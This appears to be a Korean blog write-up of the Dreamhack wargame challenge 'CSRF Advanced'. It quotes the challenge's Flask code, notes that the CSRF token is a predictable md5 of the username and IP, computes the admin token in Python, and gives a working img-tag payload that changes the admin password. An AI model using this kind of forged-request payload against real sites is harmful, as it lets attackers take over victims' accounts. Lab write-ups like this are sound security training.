본문 바로가기

Wargame(hacking)/Dreamhack

Dreamhack : CSRF Advanced

Write-Up

 

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
        except:
            return '<script>alert("user not found");history.go(-1);</script>'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            session_id = os.urandom(8).hex()
            session_storage[session_id] = username
            token_storage[session_id] = md5((username + request.remote_addr).encode()).hexdigest()
            resp.set_cookie('sessionid', session_id)
            return resp 
        return '<script>alert("wrong password");history.go(-1);</script>'

@app.route("/change_password")
def change_password():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
        csrf_token = token_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')
    pw = request.args.get("pw", None)
    if pw == None:
        return render_template('change_password.html', csrf_token=csrf_token)
    else:
        if csrf_token != request.args.get("csrftoken", ""):
            return '<script>alert("wrong csrf token");history.go(-1);</script>'
        users[username] = pw
        return '<script>alert("Done");history.go(-1);</script>'

 

csrf token이 md5((username + request.remote_addr).encode()).hexdigest() 와 같이 예측가능하게 생성되므로, 아래와 같이 admin일 경우의 csrf token을 생성할 수 있다. 

 

from hashlib import md5

session = md5(('admin' + '127.0.0.1').encode()).hexdigest()
print(session)

 

그러므로 아래와 같은 payload를 작성해준다. 

 

<img src="/change_password?csrftoken=7505b9c72ab4aa94b1a4ed7b207b67fb&pw=1234" >